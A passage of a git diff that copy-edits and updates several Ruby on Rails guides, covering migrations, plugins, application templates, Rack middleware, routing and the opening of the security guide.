+:binary+ * +:boolean+ -These will be mapped onto an appropriate underlying database type, for example with MySQL +:string+ is mapped to +VARCHAR(255)+. You can create columns of types not supported by Active Record when using the non-sexy syntax, for example +These will be mapped onto an appropriate underlying database type. For example, with MySQL the type +:string+ is mapped to +VARCHAR(255)+. You can create columns of types not supported by Active Record when using the non-sexy syntax, for example <ruby> create_table :products do |t| @@ -148,7 +148,7 @@ h3. Creating a Migration h4. Creating a Model -The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running +The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want, then statements for adding these columns will also be created. For example, running <shell> $ rails generate model Product name:string description:text @@ -262,7 +262,7 @@ end which creates a +products+ table with a column called +name+ (and as discussed below, an implicit +id+ column). -The object yielded to the block allows you to create columns on the table. There are two ways of doing this: The first (traditional) form looks like +The object yielded to the block allows you to create columns on the table. There are two ways of doing it. The first (traditional) form looks like <ruby> create_table :products do |t| @@ -270,7 +270,7 @@ create_table :products do |t| end </ruby> -the second form, the so called "sexy" migration, drops the somewhat redundant +column+ method. Instead, the +string+, +integer+, etc. methods create a column of that type. Subsequent parameters are the same. +The second form, the so called "sexy" migration, drops the somewhat redundant +column+ method. Instead, the +string+, +integer+, etc. methods create a column of that type. Subsequent parameters are the same. <ruby> create_table :products do |t| @@ -278,7 +278,7 @@ create_table :products do |t| end </ruby> -By default +create_table+ will create a primary key called +id+. You can change the name of the primary key with the +:primary_key+ option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass +:id => false+. If you need to pass database specific options you can place an SQL fragment in the +:options+ option. For example +By default, +create_table+ will create a primary key called +id+. You can change the name of the primary key with the +:primary_key+ option (don't forget to update the corresponding model) or, if you don't want a primary key at all (for example for a HABTM join table), you can pass the option +:id => false+. If you need to pass database specific options you can place an SQL fragment in the +:options+ option. For example, <ruby> create_table :products, :options => "ENGINE=BLACKHOLE" do |t| @@ -286,7 +286,7 @@ create_table :products, :options => "ENGINE=BLACKHOLE" do |t| end </ruby> -will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table (when using MySQL the default is +ENGINE=InnoDB+). +will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table (when using MySQL, the default is +ENGINE=InnoDB+). h4. Changing Tables @@ -300,6 +300,7 @@ change_table :products do |t| t.rename :upccode, :upc_code end </ruby> + removes the +description+ and +name+ columns, creates a +part_number+ column and adds an index on it. Finally it renames the +upccode+ column. This is the same as doing <ruby> @@ -347,11 +348,11 @@ end </ruby> will add an +attachment_id+ column and a string +attachment_type+ column with a default value of 'Photo'. -NOTE: The +references+ helper does not actually create foreign key constraints for you. You will need to use +execute+ for that or a plugin that adds "foreign key support":#active-record-and-referential-integrity. +NOTE: The +references+ helper does not actually create foreign key constraints for you. You will need to use +execute+ or a plugin that adds "foreign key support":#active-record-and-referential-integrity. -If the helpers provided by Active Record aren't enough you can use the +execute+ function to execute arbitrary SQL. +If the helpers provided by Active Record aren't enough you can use the +execute+ method to execute arbitrary SQL. -For more details and examples of individual methods check the API documentation, in particular the documentation for "<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html (which provides the methods available in the +up+ and +down+ methods), "<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html (which provides the methods available on the object yielded by +create_table+) and "<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html (which provides the methods available on the object yielded by +change_table+). +For more details and examples of individual methods, check the API documentation, in particular the documentation for "<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html (which provides the methods available in the +up+ and +down+ methods), "<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html (which provides the methods available on the object yielded by +create_table+) and "<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html (which provides the methods available on the object yielded by +change_table+). h4. Writing Your +change+ Method @@ -370,7 +371,7 @@ If you're going to use other methods, you'll have to write the +up+ and +down+ m h4. Writing Your +down+ Method -The +down+ method of your migration should revert the transformations done by the +up+ method. In other words the database schema should be unchanged if you do an +up+ followed by a +down+. For example if you create a table in the +up+ method you should drop it in the +down+ method. It is wise to do things in precisely the reverse order to in the +up+ method. For example +The +down+ method of your migration should revert the transformations done by the +up+ method. In other words, the database schema should be unchanged if you do an +up+ followed by a +down+. For example, if you create a table in the +up+ method, you should drop it in the +down+ method. It is wise to reverse the transformations in precisely the reverse order they were made in the +up+ method. For example, <ruby> class ExampleMigration < ActiveRecord::Migration @@ -401,22 +402,22 @@ class ExampleMigration < ActiveRecord::Migration end </ruby> -Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise +ActiveRecord::IrreversibleMigration+ from your +down+ method. If someone tries to revert your migration an error message will be displayed saying that it can't be done. +Sometimes your migration will do something which is just plain irreversible; for example, it might destroy some data. In such cases, you can raise +ActiveRecord::IrreversibleMigration+ from your +down+ method. If someone tries to revert your migration, an error message will be displayed saying that it can't be done. h3. Running Migrations -Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be +db:migrate+. In its most basic form it just runs the +up+ method for all the migrations that have not yet been run. If there are no such migrations it exits. +Rails provides a set of rake tasks to work with migrations which boil down to running certain sets of migrations. The very first migration related rake task you will use will probably be +db:migrate+. In its most basic form it just runs the +up+ method for all the migrations that have not yet been run. If there are no such migrations, it exits. Note that running the +db:migrate+ also invokes the +db:schema:dump+ task, which will update your db/schema.rb file to match the structure of your database. If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The -version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run +version is the numerical prefix on the migration's filename. For example, to migrate to version 20080906120000 run <shell> $ rake db:migrate VERSION=20080906120000 </shell> -If this is greater than the current version (i.e. it is migrating upwards) this will run the +up+ method on all migrations up to and including 20080906120000, if migrating downwards this will run the +down+ method on all the migrations down to, but not including, 20080906120000. +If version 20080906120000 is greater than the current version (i.e., it is migrating upwards), this will run the +up+ method on all migrations up to and including 20080906120000. If migrating downwards, this will run the +down+ method on all the migrations down to, but not including, 20080906120000. h4. Rolling Back @@ -434,13 +435,13 @@ $ rake db:rollback STEP=3 will run the +down+ method from the last 3 migrations. -The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating back up again. As with the +db:rollback+ task you can use the +STEP+ parameter if you need to go more than one version back, for example +The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating back up again. As with the +db:rollback+ task, you can use the +STEP+ parameter if you need to go more than one version back, for example <shell> $ rake db:migrate:redo STEP=3 </shell> -Neither of these Rake tasks do anything you could not do with +db:migrate+, they are simply more convenient since you do not need to explicitly specify the version to migrate to. +Neither of these Rake tasks do anything you could not do with +db:migrate+. They are simply more convenient, since you do not need to explicitly specify the version to migrate to. Lastly, the +db:reset+ task will drop the database, recreate it and load the current schema into it. @@ -448,7 +449,7 @@ NOTE: This is not the same as running all the migrations - see the section on "s h4. Being Specific -If you need to run a specific migration up or down the +db:migrate:up+ and +db:migrate:down+ tasks will do that. Just specify the appropriate version and the corresponding migration will have its +up+ or +down+ method invoked, for example +If you need to run a specific migration up or down, the +db:migrate:up+ and +db:migrate:down+ tasks will do that. Just specify the appropriate version and the corresponding migration will have its +up+ or +down+ method invoked, for example, <shell> $ rake db:migrate:up VERSION=20080906120000 @@ -471,8 +472,8 @@ By default migrations tell you exactly what they're doing and how long it took. Several methods are provided that allow you to control all this: -* +suppress_messages+ suppresses any output generated by its block -* +say+ outputs text (the second argument controls whether it is indented or not) +* +suppress_messages+ takes a block as an argument and suppresses any output generated by the block. +* +say+ takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not. * +say_with_time+ outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected. For example, this migration @@ -510,41 +511,108 @@ generates the following output 20080906170109 CreateProducts: migrated (10.0097s) </shell> -If you just want Active Record to shut up then running +rake db:migrate VERBOSE=false+ will suppress any output. +If you just want Active Record to shut up, then running +rake db:migrate VERBOSE=false+ will suppress all output. h3. Using Models in Your Migrations -When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed. +When creating or updating data in a migration it is often tempting to use one of your models. After all, they exist to provide easy access to the underlying data. This can be done, but some caution should be observed. + +For example, problems occur when the model uses database columns which are (1) not currently in the database and (2) will be created by this or a subsequent migration. + +Consider this example, where Alice and Bob are working on the same code base which contains a +Product+ model: -Consider for example a migration that uses the +Product+ model to update a row in the corresponding table. Alice later updates the +Product+ model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with +rake db:migrate+, including the one that used the +Product+ model. When the migration runs the source is up to date and so the +Product+ model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist. +Bob goes on vacation. -Frequently I just want to update rows in the database without writing out the SQL by hand: I'm not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example: +Alice creates a migration for the +products+ table which adds a new column and initializes it. +She also adds a validation to the +Product+ model for the new column. <ruby> -class AddPartNumberToProducts < ActiveRecord::Migration - class Product < ActiveRecord::Base +# db/migrate/20100513121110_add_flag_to_product.rb + +class AddFlagToProduct < ActiveRecord::Migration + def change + add_column :products, :flag, :int + Product.all.each { |f| f.update_attributes!(:flag => 'false') } end +end +</ruby> + +<ruby> +# app/model/product.rb +class Product < ActiveRecord::Base + validates :flag, :presence => true +end +</ruby> + +Alice adds a second migration which adds and initializes another column to the +products+ table and also adds a validation to the +Product+ model for the new column. + +<ruby> +# db/migrate/20100515121110_add_fuzz_to_product.rb + +class AddFuzzToProduct < ActiveRecord::Migration def change - ... + add_column :products, :fuzz, :string + Product.all.each { |f| f.update_attributes! :fuzz => 'fuzzy' } end end </ruby> -The migration has its own minimal copy of the +Product+ model and no longer cares about the +Product+ model defined in the application. -h4. Dealing with Changing Models +<ruby> +# app/model/product.rb + +class Product < ActiveRecord::Base + validates :flag, :fuzz, :presence => true +end +</ruby> + +Both migrations work for Alice. -For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try to use the old column information. You can force Active Record to re-read the column information with the +reset_column_information+ method, for example +Bob comes back from vacation and: + +# updates the source - which contains both migrations and the latests version of the Product model. +# runs outstanding migrations with +rake db:migrate+, which includes the one that updates the +Product+ model. + +The migration crashes because when the model attempts to save, it tries to validate the second added column, which is not in the database when the _first_ migration runs: + +<plain> +rake aborted! +An error has occurred, this and all later migrations canceled: + +undefined method `fuzz' for #<Product:0x000001049b14a0> +</plain> + +A fix for this is to create a local model within the migration. This keeps rails from running the validations, so that the migrations run to completion. + +When using a faux model, it's a good idea to call +Product.reset_column_information+ to refresh the +ActiveRecord+ cache for the +Product+ model prior to updating data in the database. + +If Alice had done this instead, there would have been no problem: <ruby> -class AddPartNumberToProducts < ActiveRecord::Migration +# db/migrate/20100513121110_add_flag_to_product.rb + +class AddFlagToProduct < ActiveRecord::Migration class Product < ActiveRecord::Base end def change - add_column :product, :part_number, :string + add_column :products, :flag, :int + Product.reset_column_information + Product.all.each { |f| f.update_attributes!(:flag => false) } + end +end +</ruby> + +<ruby> +# db/migrate/20100515121110_add_fuzz_to_product.rb + +class AddFuzzToProduct < ActiveRecord::Migration + class Product < ActiveRecord::Base + end + def change + add_column :products, :fuzz, :string Product.reset_column_information - ... + Product.all.each { |f| f.update_attributes! :fuzz => 'fuzzy' } end end </ruby> @@ -560,7 +628,7 @@ There is no need (and it is error prone) to deploy a new instance of an app by r For example, this is how the test database is created: the current development database is dumped (either to +db/schema.rb+ or +db/development.sql+) and then loaded into the test database. -Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The "annotate_models":http://agilewebdevelopment.com/plugins/annotate_models plugin, which automatically adds (and updates) comments at the top of each model summarizing the schema, may also be of interest. +Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations, but is summed up in the schema file. The "annotate_models":https://github.com/ctran/annotate_models gem automatically adds and updates comments at the top of each model summarizing the schema if you desire that functionality. h4. Types of Schema Dumps @@ -586,13 +654,11 @@ ActiveRecord::Schema.define(:version => 20080906171750) do end </ruby> -In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using +create_table+, +add_index+, and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases. - -There is however a trade-off: +db/schema.rb+ cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to +:sql+. +In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using +create_table+, +add_index+, and so on. Because this is database-independent, it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases. -Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the +db:structure:dump+ Rake task) into +db/#{Rails.env}_structure.sql+. For example for PostgreSQL the +pg_dump+ utility is used and for MySQL this file will contain the output of +SHOW CREATE TABLE+ for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside. +There is however a trade-off: +db/schema.rb+ cannot express database specific items such as foreign key constraints, triggers, or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this, then you should set the schema format to +:sql+. -By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it. +Instead of using Active Record's schema dumper, the database's structure will be dumped using a tool specific to the database (via the +db:structure:dump+ Rake task) into +db/#{Rails.env}_structure.sql+. For example, for the PostgreSQL RDBMS, the +pg_dump+ utility is used. For MySQL, this file will contain the output of +SHOW CREATE TABLE+ for the various tables. Loading these schemas is simply a question of executing the SQL statements they contain. By definition, this will create a perfect copy of the database's structure. Using the +:sql+ schema format will, however, prevent loading the schema into a RDBMS other than the one used to create it. h4. Schema Dumps and Source Control @@ -602,12 +668,6 @@ h3. Active Record and Referential Integrity The Active Record way claims that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database, are not heavily used. -Validations such as +validates :foreign_key, :uniqueness => true+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints. +Validations such as +validates :foreign_key, :uniqueness => true+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level, these cannot guarantee referential integrity and so some people augment them with foreign key constraints. Although Active Record does not provide any tools for working directly with such features, the +execute+ method can be used to execute arbitrary SQL. There are also a number of plugins such as "foreign_key_migrations":https://github.com/harukizaemon/redhillonrails/tree/master/foreign_key_migrations/ which add foreign key support to Active Record (including support for dumping foreign keys in +db/schema.rb+). - -h3. Changelog - -* April 26, 2011: change generated +up+ and +down+ methods to +change+ method, and describe detail about +change+ method by "Prem Sichanugrist":http://sikachu.com -* July 15, 2010: minor typos corrected by "Jaime Iniesta":http://jaimeiniesta.com -* September 14, 2008: initial version by "Frederick Cheung":credits.html#fcheung diff --git a/railties/guides/source/performance_testing.textile b/railties/guides/source/performance_testing.textile index dbe6f97f5c..f3ea7e38bc 100644 --- a/railties/guides/source/performance_testing.textile +++ b/railties/guides/source/performance_testing.textile @@ -207,7 +207,7 @@ GC Time measures the amount of time spent in GC for the performance test case. h5. Metric Availability -h6. Benchmarking +h6(#benchmarking_1). Benchmarking |_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time| |_.MRI | yes | yes | yes | no | yes | yes | yes | yes | @@ -215,7 +215,7 @@ h6. Benchmarking |_.Rubinius | yes | no | no | no | yes | yes | yes | yes | |_.JRuby | yes | no | no | yes | yes | yes | yes | yes | -h6. Profiling +h6(#profiling_1). Profiling |_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time| |_.MRI | yes | yes | no | no | yes | yes | yes | yes | @@ -438,9 +438,9 @@ alias gcrails='~/rubygc/bin/rails' Don't forget to use your aliases from now on. -h6. Install Rubygems (1.8 only!) +h6. Install RubyGems (1.8 only!) -Download "Rubygems":http://rubyforge.org/projects/rubygems and install it from source. Rubygem's README file should have necessary installation instructions. Please note that this step isn't necessary if you've installed Ruby 1.9 and above. +Download "RubyGems":http://rubyforge.org/projects/rubygems and install it from source. Rubygem's README file should have necessary installation instructions. Please note that this step isn't necessary if you've installed Ruby 1.9 and above. h4. Using Ruby-Prof on MRI and REE @@ -595,9 +595,3 @@ Rails has been lucky to have a few companies dedicated to Rails-specific perform * "New Relic":http://www.newrelic.com * "Scout":http://scoutapp.com - -h3. Changelog - -* March 30, 2011: Documented the recent improvements (multiple interpreters, options, etc) and necessary adjustments. Other minor improvements. "Gonçalo Silva":http://goncalossilva.com. -* January 9, 2009: Complete rewrite by "Pratik":credits.html#lifo -* September 6, 2008: Initial version by Matthew Bergman diff --git a/railties/guides/source/plugins.textile b/railties/guides/source/plugins.textile index 188423861d..5cfd336d1e 100644 --- a/railties/guides/source/plugins.textile +++ b/railties/guides/source/plugins.textile @@ -290,7 +290,7 @@ You can then return to the root directory (+cd ../..+) of your plugin and rerun </shell> -Getting closer...now we will implement the code of the acts_as_yaffle method to make the tests pass. +Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass. <ruby> # yaffle/lib/yaffle/acts_as_yaffle.rb @@ -322,7 +322,7 @@ When you run +rake+ you should see the tests all pass: h4. Add an Instance Method -This plugin will add a method named 'squawk' to any Active Record objects that call 'acts_as_yaffle'. The 'squawk' +This plugin will add a method named 'squawk' to any Active Record object that calls 'acts_as_yaffle'. The 'squawk' method will simply set the value of one of the fields in the database. To start out, write a failing test that shows the behavior you'd like: @@ -347,7 +347,7 @@ class ActsAsYaffleTest < Test::Unit::TestCase assert_equal "squawk! Hello World", hickwall.last_squawk end - def test_wickwalls_squawk_should_populate_last_tweeted_at + def test_wickwalls_squawk_should_populate_last_tweet wickwall = Wickwall.new wickwall.squawk("Hello World") assert_equal "squawk! Hello World", wickwall.last_tweet @@ -355,7 +355,7 @@ class ActsAsYaffleTest < Test::Unit::TestCase end </ruby> -Run the test to make sure the last two tests fail the an error that contains "NoMethodError: undefined method `squawk'", +Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'", then update 'acts_as_yaffle.rb' to look like this: <ruby> @@ -386,6 +386,7 @@ ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle </ruby> Run +rake+ one final time and you should see: + <shell> 7 tests, 7 assertions, 0 failures, 0 errors, 0 skips </shell> @@ -399,11 +400,11 @@ the creation of generators can be found in the "Generators Guide":generators.htm h3. Publishing your Gem -Gem plugins in progress can be easily be shared from any Git repository. To share the Yaffle gem with others, simply -commit the code to a Git repository (like Github) and add a line to the Gemfile of the any application: +Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply +commit the code to a Git repository (like Github) and add a line to the Gemfile of the application in question: <ruby> -gem 'yaffle', :git => 'git://github.com/yaffle_watcher/yaffle.git' +gem 'yaffle', :git => 'git://github.com/yaffle_watcher/yaffle.git' </ruby> After running +bundle install+, your gem functionality will be available to the application. @@ -425,11 +426,12 @@ require 'yaffle' </ruby> You can test this by changing to the Rails application that you added the plugin to and starting a rails console. Once in the -console we can check to see if the String has an instance method of to_squawk. +console we can check to see if the String has an instance method to_squawk: + <shell> $ cd my_app $ rails console -$ String.instance_methods.sort +$ "Rails plugins are easy!".to_squawk </shell> You can also remove the .gemspec, Gemfile and Gemfile.lock files as they will no longer be needed. @@ -443,9 +445,9 @@ The first step is to update the README file with detailed information about how * Your name * How to install * How to add the functionality to the app (several examples of common use cases) -* Warning, gotchas or tips that might help save users time +* Warnings, gotchas or tips that might help users and save them time -Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not part of the public api. +Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not included in the public api. Once your comments are good to go, navigate to your plugin directory and run: @@ -460,11 +462,3 @@ h4. References * "Gemspec Reference":http://docs.rubygems.org/read/chapter/20 * "GemPlugins":http://www.mbleigh.com/2008/06/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins * "Keeping init.rb thin":http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html - -h3. Changelog - -* March 10, 2011: Minor formatting tweaks. -* February 13, 2011: Get guide in synch with Rails 3.0.3. Remove information not compatible with Rails 3. Send reader elsewhere -for information that is covered elsewhere. -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* November 17, 2008: Major revision by Jeff Dean diff --git a/railties/guides/source/rails_application_templates.textile b/railties/guides/source/rails_application_templates.textile index 90fc763349..3b51a52733 100644 --- a/railties/guides/source/rails_application_templates.textile +++ b/railties/guides/source/rails_application_templates.textile @@ -60,6 +60,18 @@ Please note that this will NOT install the gems for you and you will have to run bundle install </ruby> +h4. gem_group(*names, &block) + +Wraps gem entries inside a group. + +For example, if you want to load +rspec-rails+ only in +development+ and +test+ group: + +<ruby> +gem_group :development, :test do + gem "rspec-rails" +end +</ruby> + h4. add_source(source, options = {}) Adds the given source to the generated application's +Gemfile+. @@ -148,7 +160,7 @@ The above creates +lib/tasks/bootstrap.rake+ with a +boot:strap+ rake task. h4. generate(what, args) -Runs the supplied rails generator with given arguments. For example, I love to scaffold some whenever I’m playing with Rails: +Runs the supplied rails generator with given arguments. <ruby> generate(:scaffold, "person", "name:string", "address:text", "age:number") @@ -176,12 +188,6 @@ You can also run rake tasks with a different Rails environment: rake "db:migrate", :env => 'production' </ruby> -Or even use sudo: - -<ruby> -rake "gems:install", :sudo => true -</ruby> - h4. route(routing_code) This adds a routing entry to the +config/routes.rb+ file. In above steps, we generated a person scaffold and also removed +public/index.html+. Now to make +PeopleController#index+ as the default page for the application: @@ -232,7 +238,3 @@ git :init git :add => "." git :commit => "-a -m 'Initial commit'" </ruby> - -h3. Changelog - -* April 29, 2009: Initial version by "Pratik":credits.html#lifo diff --git a/railties/guides/source/rails_on_rack.textile b/railties/guides/source/rails_on_rack.textile index 8d5985dba8..57c03b54dc 100644 --- a/railties/guides/source/rails_on_rack.textile +++ b/railties/guides/source/rails_on_rack.textile @@ -89,23 +89,32 @@ $ rake middleware For a freshly generated Rails application, this might produce something like: <ruby> +use ActionDispatch::Static use Rack::Lock -use ActionController::Failsafe -use ActionController::Session::CookieStore, , {:secret=>"<secret>", :session_key=>"_<app>_session"} -use Rails::Rack::Metal -use ActionDispatch::RewindableInput -use ActionController::ParamsParser -use Rack::MethodOverride -use Rack::Head +use ActiveSupport::Cache::Strategy::LocalCache +use Rack::Runtime +use Rails::Rack::Logger +use ActionDispatch::ShowExceptions +use ActionDispatch::RemoteIp +use Rack::Sendfile +use ActionDispatch::Callbacks +use ActiveRecord::ConnectionAdapters::ConnectionManagement use ActiveRecord::QueryCache -run ActionController::Dispatcher.new +use ActionDispatch::Cookies +use ActionDispatch::Session::CookieStore +use ActionDispatch::Flash +use ActionDispatch::ParamsParser +use Rack::MethodOverride +use ActionDispatch::Head +use ActionDispatch::BestStandardsSupport +run Blog::Application.routes </ruby> Purpose of each of this middlewares is explained in the "Internal Middlewares":#internal-middleware-stack section. h4. Configuring Middleware Stack -Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +environment.rb+ or the environment specific configuration file <tt>environments/<environment>.rb</tt>. +Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +application.rb+ or the environment specific configuration file <tt>environments/<environment>.rb</tt>. h5. Adding a Middleware @@ -118,7 +127,7 @@ You can add a new middleware to the middleware stack using any of the following * <tt>config.middleware.insert_after(existing_middleware, new_middleware, args)</tt> - Adds the new middleware after the specified existing middleware in the middleware stack. <ruby> -# config/environment.rb +# config/application.rb # Push Rack::BounceFavicon at the bottom config.middleware.use Rack::BounceFavicon @@ -133,7 +142,7 @@ h5. Swapping a Middleware You can swap an existing middleware in the middleware stack using +config.middleware.swap+. <ruby> -# config/environment.rb +# config/application.rb # Replace ActionController::Failsafe with Lifo::Failsafe config.middleware.swap ActionController::Failsafe, Lifo::Failsafe @@ -198,7 +207,7 @@ The following shows how to replace use +Rack::Builder+ instead of the Rails supp <strong>Clear the existing Rails middleware stack</strong> <ruby> -# environment.rb +# config/application.rb config.middleware.clear </ruby> @@ -207,7 +216,7 @@ config.middleware.clear <ruby> # config.ru -use MyOwnStackFromStratch +use MyOwnStackFromScratch run ActionController::Dispatcher.new </ruby> @@ -223,8 +232,3 @@ h4. Learning Rack h4. Understanding Middlewares * "Railscast on Rack Middlewares":http://railscasts.com/episodes/151-rack-middleware - -h3. Changelog - -* February 7, 2009: Second version by "Pratik":credits.html#lifo -* January 11, 2009: First version by "Pratik":credits.html#lifo diff --git a/railties/guides/source/routing.textile b/railties/guides/source/routing.textile index 68fb22f5d8..f281009fee 100644 --- a/railties/guides/source/routing.textile +++ b/railties/guides/source/routing.textile @@ -569,6 +569,12 @@ NOTE: By requesting +"/foo/bar.json"+, your +params[:pages]+ will be equals to + match '*pages' => 'pages#show', :format => false </ruby> +NOTE: If you want to make the format segment mandatory, so it cannot be omitted, you can supply +:format => true+ like this: + +<ruby> +match '*pages' => 'pages#show', :format => true +</ruby> + h4. Redirection You can redirect any path to another path using the +redirect+ helper in your router: @@ -590,6 +596,8 @@ match "/stories/:name" => redirect {|params| "/posts/#{params[:name].pluralize}" match "/stories" => redirect {|p, req| "/posts/#{req.subdomain}" } </ruby> +Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible. + In all of these cases, if you don't provide the leading host (+http://www.example.com+), Rails will take those details from the current request. h4. Routing to Rack Applications @@ -875,12 +883,3 @@ The +assert_routing+ assertion checks the route both ways: it tests that the pat <ruby> assert_routing({ :path => "photos", :method => :post }, { :controller => "photos", :action => "create" }) </ruby> - -h3. Changelog - -* April 10, 2010: Updated guide to remove outdated and superfluous information, and to provide information about new features, by "Yehuda Katz":http://www.yehudakatz.com -* April 2, 2010: Updated guide to match new Routing DSL in Rails 3, by "Rizwan Reza":http://www.rizwanreza.com/ -* February 1, 2010: Modifies the routing documentation to match new routing DSL in Rails 3, by Prem Sichanugrist -* October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes, by "Mike Gunderloy":credits.html#mgunderloy -* September 23, 2008: Added section on namespaced controllers and routing, by "Mike Gunderloy":credits.html#mgunderloy -* September 10, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy diff --git a/railties/guides/source/ruby_on_rails_guides_guidelines.textile b/railties/guides/source/ruby_on_rails_guides_guidelines.textile index 5989191b5c..29aefd25f8 100644 --- a/railties/guides/source/ruby_on_rails_guides_guidelines.textile +++ b/railties/guides/source/ruby_on_rails_guides_guidelines.textile @@ -26,7 +26,7 @@ h5. When are Objects Saved? Use the same typography as in regular text: <plain> -h6. The +:content_type+ Option +h6. The <tt>:content_type</tt> Option </plain> h3. API Documentation Guidelines @@ -77,8 +77,3 @@ bundle exec rake validate_guides </plain> Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set +WARNINGS=1+ when generating guides to detect them. The warning messages suggest a way to fix them. - -h3. Changelog - -* March 31, 2011: grammar tweaks by "Josiah Ivey":http://twitter.com/josiahivey -* October 5, 2010: ported from the docrails wiki and revised by "Xavier Noria":credits.html#fxn diff --git a/railties/guides/source/security.textile b/railties/guides/source/security.textile index 908f3f125a..0f100e0adf 100644 --- a/railties/guides/source/security.textile +++ b/railties/guides/source/security.textile @@ -15,7 +15,7 @@ endprologue. h3. Introduction -Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see that all of the Rails applications I audited had a good level of security. +Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security. In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications). @@ -23,7 +23,7 @@ The Gartner Group however estimates that 75% of attacks are at the web applicati The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at. -In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). 